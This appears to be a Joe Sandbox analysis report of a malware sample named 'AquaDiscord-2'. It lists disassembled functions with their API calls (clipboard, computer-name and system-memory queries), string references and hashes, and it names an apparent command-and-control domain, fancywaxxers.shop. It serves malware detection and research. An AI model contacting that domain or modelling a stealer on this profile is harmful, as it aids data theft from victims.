GlobalFree.KERNEL32 ref: 051410E3
GlobalUnlock.KERNEL32(?), ref: 051410ED
CloseClipboard.USER32 ref: 051410F3
GetClipboardSequenceNumber.USER32 ref: 051410F9

Memory Dump Source

Source File: 00000002.00000002.2910327560.0000000005141000.00000020.00000800.00020000.00000000.sdmp, Offset: 05140000, based on PE: true

Associated: 00000002.00000002.2910313996.0000000005140000.00000002.00000800.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2910346719.0000000005142000.00000002.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5140000_AquaDiscord-2.jbxd

Similarity

API ID: ClipboardGlobal$DataLockUnlock$AllocCloseEmptyFreeNumberOpenSequenceSleep
String ID:
API String ID: 1416286485-0
Opcode ID: 0a0cb422625d0ea18f9246ca51bb2cdf7fb3927eab9c5c5d665d0f30ba870190
Instruction ID: 9f9ebd04da3564eb1df95700566734b50bcabec6f0bd32b42642096c5e886584
Opcode Fuzzy Hash: 0a0cb422625d0ea18f9246ca51bb2cdf7fb3927eab9c5c5d665d0f30ba870190
Instruction Fuzzy Hash: 9821627D654250ABE7202BB1AC0AF7A7BB8FF08A55F052438F955D7191EB7188C0CEA1

Function 0040FFD6 Relevance: 18.4, APIs: 1, Strings: 9, Instructions: 859
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

:, xrefs: 00410064
R, xrefs: 0040FFE9
=, xrefs: 004105AB
H, xrefs: 004104E7
Q, xrefs: 00410803
0, xrefs: 0041039C
Z, xrefs: 004101C9
!, xrefs: 00410A39
|, xrefs: 004108C1

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID:
String ID: !$0$:$=$H$Q$R$Z$|
API String ID: 0-2647137366
Opcode ID: f791f164d742791169fef67f2675f96a806319c50ed3faa86751d73b7e79b0e1
Instruction ID: b1c587c69972fe86ad369410b5a1af1c9ee2814cf2c8545fb68a45fe4272fdb3
Opcode Fuzzy Hash: f791f164d742791169fef67f2675f96a806319c50ed3faa86751d73b7e79b0e1
Instruction Fuzzy Hash: 3E72A272A0C7808BD324DB39C89139FBBD2ABD5314F198A3EE5D9D73C1D67889418B46

Function 0042207D Relevance: 17.4, APIs: 2, Strings: 7, Instructions: 1650COMMON

Download Yara Rule

Strings

Ktrr, xrefs: 00422187
NCGA, xrefs: 00422177
^jk[, xrefs: 00422197
gPRf, xrefs: 004221A7
fancywaxxers.shop, xrefs: 004224DF
~~, xrefs: 004232AF
b,B, xrefs: 00422C4D

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID:
String ID: Ktrr$NCGA$^jk[$b,B$fancywaxxers.shop$gPRf$~~
API String ID: 0-3155797656
Opcode ID: 9732420e11d04317ffb174467f05412886ab3ecec205061c9218f6f2eccd2ce3
Instruction ID: 94f55b53ddaffc0f10203bef1cd3c4aa6590c85254d220e29af91e2d34122216
Opcode Fuzzy Hash: 9732420e11d04317ffb174467f05412886ab3ecec205061c9218f6f2eccd2ce3
Instruction Fuzzy Hash: EFB23175608351CBD314CF29D88126BBBE2FF86310F48897DE9D58B391DB789906CB86

Function 00434460 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 154
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemMetrics.USER32 ref: 004344A9
GetSystemMetrics.USER32 ref: 004344B9

Strings

rHC, xrefs: 004346C5
EKC, xrefs: 00434620
`LC, xrefs: 00434636
lKC, xrefs: 00434683
, xrefs: 004345A6

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID: MetricsSystem
String ID: $EKC$`LC$lKC$rHC
API String ID: 4116985748-523529498
Opcode ID: f14ede883a64fc22c4e803d8ae2d7de582ceef30be9ed441c710ed16ffbb3712
Instruction ID: ed053f1949e861fbaa0d96d56bbd1847bf0cf4b0b235e97d76566608e50df858
Opcode Fuzzy Hash: f14ede883a64fc22c4e803d8ae2d7de582ceef30be9ed441c710ed16ffbb3712
Instruction Fuzzy Hash: 16912FB45093808FE760DF14D58978BBBF1BBC5708F10892EE5988B351DBB99848DF4A

Function 0040D75B Relevance: 7.8, APIs: 1, Strings: 4, Instructions: 279
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00434460: GetSystemMetrics.USER32 ref: 004344A9
Part of subcall function 00434460: GetSystemMetrics.USER32 ref: 004344B9

CoUninitialize.COMBASE ref: 0040D770

Strings

;8, xrefs: 0040DAD0
hSnY, xrefs: 0040D834
fancywaxxers.shop, xrefs: 0040DB25
khZp, xrefs: 0040D808

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID: MetricsSystem$Uninitialize
String ID: ;8$fancywaxxers.shop$hSnY$khZp
API String ID: 1128523136-1874093197
Opcode ID: 3cd5eabe0aded617b4ba2f9d7c918d7c30aa78df103585c26a0bd7b421f5f68d
Instruction ID: b74903e71e8f716a9a88ed692504ce4700a07b82aaccec82dcfcfa98f5602128
Opcode Fuzzy Hash: 3cd5eabe0aded617b4ba2f9d7c918d7c30aa78df103585c26a0bd7b421f5f68d
Instruction Fuzzy Hash: E891DFB090C3D18AD3358F2580907EBFBE1ABD7304F18496DD4DA6B392C7788509CB9A

Function 004087B0 Relevance: 7.7, APIs: 5, Instructions: 225
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 004087D4
GetCurrentThreadId.KERNEL32 ref: 004087DE
SHGetSpecialFolderPathW.SHELL32(00000000,?,00000010,00000000), ref: 004088FC
GetForegroundWindow.USER32 ref: 004089C1
ExitProcess.KERNEL32 ref: 00408A51

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID: CurrentProcess$ExitFolderForegroundPathSpecialThreadWindow
String ID:
API String ID: 4063528623-0
Opcode ID: 54462c685be16421f6194d86c174339d0282144dba7c7d0f03c2668cceba3d88
Instruction ID: 9a300c1681b891008e909fe3257d388318bfb44b29180f89294f6db9c3555df2
Opcode Fuzzy Hash: 54462c685be16421f6194d86c174339d0282144dba7c7d0f03c2668cceba3d88
Instruction Fuzzy Hash: AB613A72B443044FC318EF69CD5536AB6D69BC9310F09C53EA8C4AB3E5EE789C058A99

Function 00422F70 Relevance: 7.6, APIs: 3, Strings: 1, Instructions: 633
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,00000000,?), ref: 00423041
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,?,?), ref: 004230F4

Strings

~~, xrefs: 004232AF

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: ~~
API String ID: 237503144-3574127172
Opcode ID: c4c472e46fa3863ed812600143a1e91a35e575045751546efa44a3f4b90bf9b0
Instruction ID: be22e521949e80bfa6a031671857a5ba9b29f52d2d452f9ff4a016b8a06bfdda
Opcode Fuzzy Hash: c4c472e46fa3863ed812600143a1e91a35e575045751546efa44a3f4b90bf9b0
Instruction Fuzzy Hash: EB122FB6A083608BD310CF59E88021BBBF1FFD5314F14896DE9D59B350DB789A068B86

Function 00422830 Relevance: 6.0, APIs: 2, Strings: 1, Instructions: 746COMMON

Download Yara Rule

Strings

~~, xrefs: 004232AF

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID:
String ID: ~~
API String ID: 0-3574127172
Opcode ID: 47dd2df0fa5dd291b6f97a9fff72f1a02d2570d06c7a8b667f8be9833521f2e5
Instruction ID: 7dbfdddcb27124cc5a5c4f8af779dcc8181431db2658f0e649bf51fcd82c8dbe
Opcode Fuzzy Hash: 47dd2df0fa5dd291b6f97a9fff72f1a02d2570d06c7a8b667f8be9833521f2e5
Instruction Fuzzy Hash: B7320D75A18311CBD314CF28E84122BB7F2FF85315F08896DE9858B3A5DB78D946CB86

Function 0042DA21 Relevance: 6.0, APIs: 1, Strings: 2, Instructions: 736
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 0042DF1F

Strings

CV,^, xrefs: 0042DFAE
gue3, xrefs: 0042DFB6

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID: CV,^$gue3
API String ID: 3960555810-3407280499
Opcode ID: f3ebf605be4dd65c58c762228fb8a13e8e5602d94894f8a1cf6226854c9fd278
Instruction ID: 98bee3bd0e59378419626ccd196ac9573ee343c68945e602011319479aa8ab1c
Opcode Fuzzy Hash: f3ebf605be4dd65c58c762228fb8a13e8e5602d94894f8a1cf6226854c9fd278
Instruction Fuzzy Hash: 5C221971A0C7A18BD325CF29D45036BBFD2AFD6314F1889AED4D99B341C6798806CB86

Function 0040CEC7 Relevance: 2.7, Strings: 2, Instructions: 173COMMON

Download Yara Rule

Strings

y, xrefs: 0040CED1
A0C303809269CACBC82A8148C6E54400, xrefs: 0040D010

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID:
String ID: A0C303809269CACBC82A8148C6E54400$y
API String ID: 0-3871108861
Opcode ID: b35c5bb82a01e4a7c2276de52e7c42d158e759bc3991b7bdc95bf005c1ca11a9
Instruction ID: d13ed370f9a74bd7b192be9fef28f454f71df1e5009caa2d1751917904e576f4
Opcode Fuzzy Hash: b35c5bb82a01e4a7c2276de52e7c42d158e759bc3991b7bdc95bf005c1ca11a9
Instruction Fuzzy Hash: F55128729083908BD724CB34CC516EFB7D3EBD6358F198A3DD8C9A7292E77549018746

Function 00441F50 Relevance: 2.6, Strings: 2, Instructions: 136COMMON

Download Yara Rule

Strings

@, xrefs: 00442001
1076, xrefs: 0044201F

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID: InitializeThunk
String ID: 1076$@
API String ID: 2994545307-367735841
Opcode ID: 4fbbcb8d525073f89878eba708add4101803d8ad08485b0c83275c496f97ac63
Instruction ID: 6080835bd154c549e24ed2745c425b690c6264ddf926f1aa5c5581f431cd1e19
Opcode Fuzzy Hash: 4fbbcb8d525073f89878eba708add4101803d8ad08485b0c83275c496f97ac63
Instruction Fuzzy Hash: 0C414370A043008BE704CF25D88176BB7E1EF95328F44862EF998573A1E7799909C78A

Function 0042D2FF Relevance: 1.6, APIs: 1, Instructions: 78COMMON

Download Yara Rule

APIs

GetComputerNameExA.KERNELBASE(00000006,?,00000100), ref: 0042D398

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: a8cd61548bb627cd29eb74a14310a77809775b5788a73ff04523b65aa42a5ad7
Instruction ID: 9c47b220125fd7b37665d45bd4979fc666182093a46d2320396b4aa24af95e72
Opcode Fuzzy Hash: a8cd61548bb627cd29eb74a14310a77809775b5788a73ff04523b65aa42a5ad7
Instruction Fuzzy Hash: 1C21C4766487428BE3208F7CEC923DBBBE69FC6314F68857DD598C7291DB7884068B01

Function 0043CFDB Relevance: 1.5, APIs: 1, Instructions: 15memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000), ref: 0043CFFB

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: aedaec0e2d58949988fc3ab68ae91bb68b8f1b976ef8575a48542654c1965c67
Instruction ID: 1f346047a94a575cb9e9090b5b75e991c9877b57263cff9fb7a1015185431757
Opcode Fuzzy Hash: aedaec0e2d58949988fc3ab68ae91bb68b8f1b976ef8575a48542654c1965c67
Instruction Fuzzy Hash: B0D0C930490220AAE2152F119D19F16BE34EB53343F025070B105260B38A30D935CAAD

Function 0043EEC0 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(00441F2A,00000002,00000018,?,?,00000018,?,?,?), ref: 0043EEEE

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 00420830 Relevance: 1.4, Strings: 1, Instructions: 121COMMON

Download Yara Rule

Strings

]B, xrefs: 00420957

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID:
String ID: ]B
API String ID: 0-3526754052
Opcode ID: 1fd6be1f3779e7f1b2b7231725d9d40c36712ed4fae440efb7f288a22ef19163
Instruction ID: abee60704e6455fbf7b09025d8f3e9bde1ba2f3748414ee61b19bc2f054f4bbe
Opcode Fuzzy Hash: 1fd6be1f3779e7f1b2b7231725d9d40c36712ed4fae440efb7f288a22ef19163
Instruction Fuzzy Hash: F32157A1F1821187D310AF39CC51227B2E2EF92324F49862DE4D6CB396F73C9A41C796

Function 00440ED0 Relevance: 1.3, Strings: 1, Instructions: 90COMMON

Download Yara Rule

Strings

@, xrefs: 00440F20

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID: InitializeThunk
String ID: @
API String ID: 2994545307-2766056989
Opcode ID: 19a6e7360f83f39a3bdc91fe7abb6694e0420bf29f5f5c56e213f680fde1b919
Instruction ID: a46e369d106a639218644783b4726d9be4fc316d03f01d76ce16d15d354cb5da
Opcode Fuzzy Hash: 19a6e7360f83f39a3bdc91fe7abb6694e0420bf29f5f5c56e213f680fde1b919
Instruction Fuzzy Hash: 9121AD741083049BD310CF59D88166BB7F4FB8A324F14593DFA9887391D379D8598BAA

Function 00426B80 Relevance: .4, Instructions: 426COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 40f5f1595bb43a5231ce2cdf028601ad03ac207bb4dfd4b317dc7fd636096d1e
Instruction ID: 7b9b9bec463f649fdb6d53fd540be9c05b20f5d4e57a854244decb507e84e9ce
Opcode Fuzzy Hash: 40f5f1595bb43a5231ce2cdf028601ad03ac207bb4dfd4b317dc7fd636096d1e
Instruction Fuzzy Hash: EBC18F71B183614BDB14CE29E88166BB393EBD1314F9B853EE98587385D73CDC068399

Function 0043F23F Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: c67ccd4bc8fea41b065f08100cb3a35495d4ca712ca25f06c216555991bb6308
Instruction ID: b77085b18b636790fe0e7c692a17d30303a8a7faa170c9887c77d76401ebd4ee
Opcode Fuzzy Hash: c67ccd4bc8fea41b065f08100cb3a35495d4ca712ca25f06c216555991bb6308
Instruction Fuzzy Hash: FA215B756493419BE300CF16CC86F2BB3A3E7D5300F14D53AE590972E5C7B8D8058749

Function 0042D41A Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 94
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNELBASE(00000005,?,00000100), ref: 0042D4E4

Strings

pwut, xrefs: 0042D45F
fy`T, xrefs: 0042D46A

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID: ComputerName
String ID: fy`T$pwut
API String ID: 3545744682-1831210788
Opcode ID: 14bab3bf3b9f2bcd7640dc34512b6f924e17cdd87a41c78f647d25e089ed0ca5
Instruction ID: 1885bde83a69cb04e4bf2408e252280595401ea40af441bedd925f44b0c25624
Opcode Fuzzy Hash: 14bab3bf3b9f2bcd7640dc34512b6f924e17cdd87a41c78f647d25e089ed0ca5
Instruction Fuzzy Hash: 2A21F63450C3D18BDB248B34D8243FBBBD49F96315F580A5ED4CD87282C7389906CB56

Function 0042D414 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 67
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNELBASE(00000005,?,00000100), ref: 0042D4E4

Strings

pwut, xrefs: 0042D45F
fy`T, xrefs: 0042D46A

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID: ComputerName
String ID: fy`T$pwut
API String ID: 3545744682-1831210788
Opcode ID: bb8ef7e29fa2041b95833efbf863433c530e121e49a3d293443c341171389dfc
Instruction ID: 3900cb29f253ed41e082e810bb159b9540be0b327d9fa7bfa8c3352265a65e98
Opcode Fuzzy Hash: bb8ef7e29fa2041b95833efbf863433c530e121e49a3d293443c341171389dfc
Instruction Fuzzy Hash: F511063460C7918BDB248B24C8287EBBBD49F86321F180A6DD4CE87281CB385902CB56

Function 0043FAEB Relevance: 3.0, APIs: 2, Instructions: 16COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 0043FAEB
GetForegroundWindow.USER32 ref: 0043FAFC

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: d96aaea63885c3684cea54249a921a3c99d167502c47268bf736eb4e630661ef
Instruction ID: 360bc417d1d8dd9390a0e24ce6050fade34dd00777f13f1fc800528296f11a8c
Opcode Fuzzy Hash: d96aaea63885c3684cea54249a921a3c99d167502c47268bf736eb4e630661ef
Instruction Fuzzy Hash: E4D0A7FDE421009BE3059B22FC0741A3716ABC321D7144838E80283322D9355535C5DF

Function 00438974 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

GetUserDefaultUILanguage.KERNELBASE ref: 004389A4

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID: DefaultLanguageUser
String ID:
API String ID: 95929093-0
Opcode ID: a3bad94d319ff360a0d8b43d14b801486623d4b0de6c3ba806984507380aa086
Instruction ID: 252dcf27f9fa6e433cc70b34e72e5d8f0341fedb36508920ab38289f71b5b6ca
Opcode Fuzzy Hash: a3bad94d319ff360a0d8b43d14b801486623d4b0de6c3ba806984507380aa086
Instruction Fuzzy Hash: CF119E749083948BCB54CB3899947E97BB16F5E320F0402EDD4CA973A2DA394A91CB1A

Function 0043EE40 Relevance: 1.5, APIs: 1, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(?,00000000,0043A689,?,00004000,?,?,?,?,00000001,02DB7318,?,02DB7318,0041422A,?,02DB7318), ref: 0043EE80

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: ff6e8024d7d04b7815bd8d9f02f2b81b673959d4091defb876d96e5cd63917c8
Instruction ID: 3b8860b3b236ddac0589c6032d2567cac11010f5a4172126ef7003019655eb2c
Opcode Fuzzy Hash: ff6e8024d7d04b7815bd8d9f02f2b81b673959d4091defb876d96e5cd63917c8
Instruction Fuzzy Hash: B9F02735458210EBE3001F25BD06A1B36B9AFCF711F06043AF54953165DB39E822C69F

Function 0042F100 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 0042F149

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 78b47826cd9c7191f963fd9e12d95428478fb21e91424829ab5d201591ccd5f1
Instruction ID: 82d7010dc274e219821205fbd216af7676d574a6d79836a4e5278f121af04f3e
Opcode Fuzzy Hash: 78b47826cd9c7191f963fd9e12d95428478fb21e91424829ab5d201591ccd5f1
Instruction Fuzzy Hash: 20F0BDB4105701CFE314DF24D0A4756BBF0FB89704F10581CE0958B390C7B5A948DF82

Function 004330A8 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 004330EC

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: febd1d751d134793378ae79c7edc84675fad8ca4d63014c10dd68467892fafa7
Instruction ID: 57e039d0e3db240c334139bd82a1f6e00200c207c1351fc728b076e1a82f5ff5
Opcode Fuzzy Hash: febd1d751d134793378ae79c7edc84675fad8ca4d63014c10dd68467892fafa7
Instruction Fuzzy Hash: 66F0B2B46083428FE314DF28C5A871BBBE4ABC9308F10891CE5948B390CBB59948CF83

Function 0043D010 Relevance: 1.5, APIs: 1, Instructions: 18memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000,?,00414170,?), ref: 0043D041

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: cfb754c56096ded825b04b4428b46e666d5f2ebbf0f9e1d3715968d205b0c28c
Instruction ID: 4a5130bfa37ba0c90ff3d4003636c7911055909ea7f0e2db61dbeeefdd43f40f
Opcode Fuzzy Hash: cfb754c56096ded825b04b4428b46e666d5f2ebbf0f9e1d3715968d205b0c28c
Instruction Fuzzy Hash: 70D01731059131EBE7102F58BC227863764EF8A322F0744B6A1005A076CA348C72CADA

Function 0040C880 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

CoInitializeEx.COMBASE(00000000,00000002), ref: 0040C893

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 315b55ef2c81f16b799c4e38da1d9b3e058f0e204c0cab6ff3317bcd90d19787
Instruction ID: eb3fa50a478c87baf5998608f04e651d4810f7e2c15724cbdbd46ab7fad430bc
Opcode Fuzzy Hash: 315b55ef2c81f16b799c4e38da1d9b3e058f0e204c0cab6ff3317bcd90d19787
Instruction Fuzzy Hash: A2D0A7355501846BD2006B5CFC57F163A2CE347765F800238B263DA1D1D9907910C5AA

Function 0040C8B3 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

